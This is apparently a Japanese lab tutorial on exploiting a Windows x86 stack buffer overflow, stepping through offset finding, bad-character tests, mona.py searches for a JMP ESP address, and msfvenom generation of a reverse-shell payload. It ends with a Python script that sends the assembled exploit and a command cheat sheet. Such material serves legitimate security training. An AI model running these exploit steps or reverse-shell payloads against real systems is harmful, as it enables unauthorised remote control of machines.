- 前提知識:オーバーフロー時にメモリで何が起きるか
- Step 1:EIP のオフセットを特定する
- Step 2:Bad Characters を特定する
- Step 3:mona.py でリターンアドレスを探す
- Step 4:Shellcode を生成する
- Step 5:Payload を組み立てる
- 全体フローまとめ
- よく使うコマンド早見表
本記事では、Windows x86 スタックオーバーフロー脆弱性の完全な悪用フローを記録する。オフセット特定から最終的な shellcode 実行まで。
前提知識:オーバーフロー時にメモリで何が起きるか
バッファの容量を超えるデータを書き込むと、余分なバイトが高アドレス方向へあふれ出し、スタック上の隣接データを上書きする。最終的には関数のリターンアドレス(EIP)を上書きすることになる。
低アドレス ┌─────────────────┐ │ buffer │ ← 通常の書き込み領域 ├─────────────────┤ │ saved EBP │ ├─────────────────┤ │ saved EIP │ ← リターンアドレス、ここを上書きすれば実行フローを乗っ取れる ├─────────────────┤ │ ... │ ← ESP はここを指す(EIP の直後) └─────────────────┘ 高アドレス
EIP を制御できれば、プログラムを任意のアドレスへジャンプさせることができる。
Step 1:EIP のオフセットを特定する
テスト文字列を生成する
msf-pattern_create -l 800
pattern_create が生成するのはランダムな文字列ではなく、3バイトの組み合わせがすべてユニークなシーケンスである:
Aa0Aa1Aa2Aa3Aa4Aa5Aa6Aa7Aa8Aa9Ab0Ab1...
大文字 × 小文字 × 数字のデカルト積で並べられており、任意の 4バイト部分列がシーケンス中に一度しか登場しない。そのため、EIP の値からその位置を逆引きでき、オーバーフローのオフセット量を求められる。
pattern を送信してクラッシュを観察する
プログラムがクラッシュしたら、デバッガで EIP の値を確認する。例:
EIP = 42306142
オフセットを計算する
msf-pattern_offset -l 800 -q 42306142 # [*] Exact match at offset 780
注意:EIP はリトルエンディアンで格納されている。
pattern_offsetは自動でバイト順を処理するため、レジスタの生の値をそのまま渡せばよい。
オフセットを検証する
payload = b"A" * 780 + b"B" * 4 + b"C" * 16
送信後、EIP が 0x42424242(B × 4)になり、ESP が CCCC 領域を指していれば、オフセットが正しいことを確認できる。
[AAAAAAA···780バイト···][BBBB][CCCC···]
EIP ESP ↑
Step 2:Bad Characters を特定する
プログラムによっては特定のバイトを特殊な意味に解釈し、データを切り捨てたり変形させたりすることがある。こうしたバイトを Bad Characters と呼び、shellcode やリターンアドレスから完全に排除しなければならない。
最も一般的な bad char は \x00(ヌルバイト、文字列を切り捨てる)。
完全なバイト列を生成する
badchars = b"".join(bytes([i]) for i in range(0x00, 0x100))
またはハードコード版:
badchars = (
b"\x00\x01\x02\x03\x04\x05\x06\x07\x08\x09\x0a\x0b\x0c\x0d\x0e\x0f"
b"\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f"
b"\x20\x21\x22\x23\x24\x25\x26\x27\x28\x29\x2a\x2b\x2c\x2d\x2e\x2f"
b"\x30\x31\x32\x33\x34\x35\x36\x37\x38\x39\x3a\x3b\x3c\x3d\x3e\x3f"
b"\x40\x41\x42\x43\x44\x45\x46\x47\x48\x49\x4a\x4b\x4c\x4d\x4e\x4f"
b"\x50\x51\x52\x53\x54\x55\x56\x57\x58\x59\x5a\x5b\x5c\x5d\x5e\x5f"
b"\x60\x61\x62\x63\x64\x65\x66\x67\x68\x69\x6a\x6b\x6c\x6d\x6e\x6f"
b"\x70\x71\x72\x73\x74\x75\x76\x77\x78\x79\x7a\x7b\x7c\x7d\x7e\x7f"
b"\x80\x81\x82\x83\x84\x85\x86\x87\x88\x89\x8a\x8b\x8c\x8d\x8e\x8f"
b"\x90\x91\x92\x93\x94\x95\x96\x97\x98\x99\x9a\x9b\x9c\x9d\x9e\x9f"
b"\xa0\xa1\xa2\xa3\xa4\xa5\xa6\xa7\xa8\xa9\xaa\xab\xac\xad\xae\xaf"
b"\xb0\xb1\xb2\xb3\xb4\xb5\xb6\xb7\xb8\xb9\xba\xbb\xbc\xbd\xbe\xbf"
b"\xc0\xc1\xc2\xc3\xc4\xc5\xc6\xc7\xc8\xc9\xca\xcb\xcc\xcd\xce\xcf"
b"\xd0\xd1\xd2\xd3\xd4\xd5\xd6\xd7\xd8\xd9\xda\xdb\xdc\xdd\xde\xdf"
b"\xe0\xe1\xe2\xe3\xe4\xe5\xe6\xe7\xe8\xe9\xea\xeb\xec\xed\xee\xef"
b"\xf0\xf1\xf2\xf3\xf4\xf5\xf6\xf7\xf8\xf9\xfa\xfb\xfc\xfd\xfe\xff"
)
Python の文字列に
bプレフィックスを付けると、Unicode テキストではなく生のバイトデータであることを示す。\x??が 1バイトとしてそのまま送出され、エンコード変換で書き換えられることがない。
送信して分析する
badchars を ESP の後ろに付けて送信し、クラッシュ後に WinDbg でスタックの内容を確認する:
0:008> db esp L40 0149745c 01 02 03 04 05 06 07 08-09 00 a6 00 60 bd a6 00
上記の出力では \x09 の後にデータの異常が見られ、\x0a が bad char と判断できる。順次排除しながら、すべてのデータが正常になるまでテストを繰り返す。
mona.py を使えばこのプロセスを自動化できる(Step 3 参照)。
Step 3:mona.py でリターンアドレスを探す
shellcode は ESP が指す位置に格納されているが、スタックアドレスは実行のたびに変化する(ASLR) ため、ESP のアドレスを直接 EIP に書き込むことはできない。
解決策:アドレスが固定されたモジュール内の JMP ESP 命令を探し、EIP をそこに向けることで間接的に shellcode へジャンプする。
ret → EIP(JMP ESP の固定アドレス)→ JMP ESP を実行 → ESP へジャンプ → shellcode 実行
mona.py のインストール
ダウンロード:https://github.com/corelan/mona
Immunity Debugger の PyCommands ディレクトリにコピーする:
C:\Program Files\Immunity Inc\Immunity Debugger\PyCommands\mona.py
作業ディレクトリを設定する:
!mona config -set workingfolder C:\mona\%p
モジュールの保護状態を確認する
!mona modules
Module | ASLR | Rebase | SafeSEH | OS DLL ---------------|------|--------|---------|------- essfunc.dll | False| False | False | False ← 理想的なターゲット kernel32.dll | True | True | True | True
ASLR・Rebase・SafeSEH がすべて False のモジュールを選ぶ。アドレスが静的なため、ジャンプ台として信頼性が高い。
bytearray を生成して bad chars を比較する
!mona bytearray -b "\x00"
テストデータを送信してクラッシュさせた後、ESP のアドレスを使って比較する:
!mona compare -f C:\mona\vulnapp\bytearray.bin -a 0x0190f9c8
mona が問題のあるバイトを出力するので、排除リストに追加して再テストする:
!mona bytearray -b "\x00\x0a\x0d"
Good が出力されるまで繰り返す。
JMP ESP のアドレスを探す
!mona jmp -r esp -cpb "\x00\x0a\x0d"
出力例:
0x625011af : jmp esp | [essfunc.dll] ASLR: False, SafeSEH: False
msf-nasm_shell で JMP ESP の機械語を確認してから手動で検索することもできる:
msf-nasm_shell nasm > JMP ESP 00000000 FFE4 jmp esp
!mona find -s "\xff\xe4" -m essfunc.dll
Step 4:Shellcode を生成する
すべての bad chars を確認した後、msfvenom で shellcode を生成する:
msfvenom -p windows/shell_reverse_tcp \ LHOST=192.168.119.120 \ LPORT=443 \ -b "\x00\x0a\x0d" \ -e x86/shikata_ga_nai \ -f python \ -v shellcode
| オプション | 説明 |
|---|---|
-p |
ペイロードの種類。shell_reverse_tcp はリバースシェル |
-b |
排除する bad chars |
-e |
エンコーダ。shikata_ga_nai は最も一般的な x86 多態エンコーダで、単純な bad char フィルタをバイパスするために使う |
-f python |
Python フォーマットで出力 |
Step 5:Payload を組み立てる
import socket, struct offset = 780 jmp_esp = struct.pack("<I", 0x625011af) # リトルエンディアンでパック(<I = little-endian unsigned int) nop_sled = b"\x90" * 16 # NOP sled shellcode = b"" # msfvenom の出力を貼り付ける payload = b"A" * offset + jmp_esp + nop_sled + shellcode s = socket.socket() s.connect(("192.168.x.x", 9999)) s.send(payload) s.close()
NOP Sled について
\x90 は NOP(No Operation)命令で、CPU は何もせず次の命令へ進む。
JMP ESP の着地点は必ずしも正確ではない。デバッグ環境と実環境のスタックオフセットの微妙なズレ、あるいは shikata_ga_nai などのデコーダが実行時にスタックを動的に書き換えることが原因である。shellcode の前に NOP sled を置くことで着地可能な範囲を広げ、NOP 領域のどこに着地しても shellcode まで滑り込める:
NOP Sled あり:
[padding][JMP ESP][90 90 90 ... 90 90][shellcode]
←── どこに着地しても OK ──→
NOP Sled なし:
[padding][JMP ESP][shellcode]
↑ ここの 1バイト目に正確に着地しなければならない
空間に余裕がある場合は 32〜64 バイトに増やすと安定性が上がる。
全体フローまとめ
1. msf-pattern_create テスト文字列を生成
↓
2. pattern を送信して EIP を観察
↓
3. msf-pattern_offset オフセットを計算
↓
4. bytearray を送信 bad chars を逐次特定
!mona compare
↓
5. !mona modules 保護なしモジュールを探す
!mona jmp -r esp JMP ESP のアドレスを探す
↓
6. msfvenom bad chars を排除した shellcode を生成
↓
7. payload を組み立てて送信 [padding][JMP ESP][NOP sled][shellcode]
よく使うコマンド早見表
| コマンド | 用途 |
|---|---|
msf-pattern_create -l <len> |
cyclic pattern を生成 |
msf-pattern_offset -q <eip> |
オフセットを調べる |
msf-nasm_shell |
アセンブリ → 機械語変換 |
!mona modules |
モジュールの保護状態を確認 |
!mona jmp -r esp -cpb "\x00" |
JMP ESP を探す |
!mona bytearray -b "\x00" |
bad char テスト用バイト列を生成 |
!mona compare -f <path> -a <esp> |
bad chars を比較 |
msfvenom -p ... -b ... -f python |
shellcode を生成 |